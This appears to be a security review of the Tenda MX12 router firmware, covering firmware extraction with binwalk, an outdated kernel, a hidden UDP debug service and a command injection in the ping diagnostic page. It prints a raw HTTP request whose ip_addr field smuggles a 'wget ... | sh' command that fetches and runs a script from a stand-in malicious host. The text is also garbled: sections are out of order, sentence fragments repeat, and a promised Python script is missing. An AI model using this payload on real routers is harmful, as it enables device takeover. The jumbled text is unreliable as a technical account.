Firmware - Tenda Mx12
The Tenda MX12 is a textbook case of "cheap hardware, dangerous software." While it works fine as a basic access point, its security posture is unacceptable for any environment containing sensitive data. Unless Tenda releases a complete rewrite (unlikely), we recommend avoiding this product entirely.
POST /goform/diagnostic HTTP/1.1 Host: 192.168.5.1 Content-Type: application/x-www-form-urlencoded diagnostic_tool=ping&ip_addr=8.8.8.8; wget http://malicious.sh -O- | sh &
An authenticated attacker (or any user on the LAN if the session check is bypassed) can inject arbitrary commands via the ping diagnostic tool. Example: Tenda Mx12 Firmware
Using a simple Python script, we triggered a crash dump:
# Using binwalk to carve the squashfs $ binwalk -Me Tenda_MX12_V1.0.0.24_EN.bin 256 0x100 TRX firmware header, image size: 14876672 bytes 512 0x200 LZMA compressed data 1456128 0x163800 Squashfs filesystem, little endian, version 4.0 The Tenda MX12 is a textbook case of
No CSRF token validation exists on this endpoint. Using strings on the squashfs root, we discovered:
The squashfs extracts to a standard Linux environment—kernel 3.10.90 (released in 2016, ). The "Hidden" Debug Interface The most alarming discovery is an undocumented UDP debugging service running on port 7329 . Unlike the official web UI (port 80) or telnet (port 23, disabled by default), this service cannot be disabled via the GUI. Example: Using a simple Python script, we triggered
But beneath the sleek white plastic lies a firmware ecosystem that raises serious red flags. After extracting and reverse-engineering the latest firmware (v1.0.0.24 and v1.0.0.30), we found a labyrinth of debug commands, hardcoded credentials, and deprecated Linux kernels. The MX12 is powered by a Realtek RTL8198D (dual-core ARM Cortex-A7) with 128MB of flash and 256MB of RAM. Tenda distributes the firmware as a .bin file wrapped in a proprietary TRX header with a custom checksum.
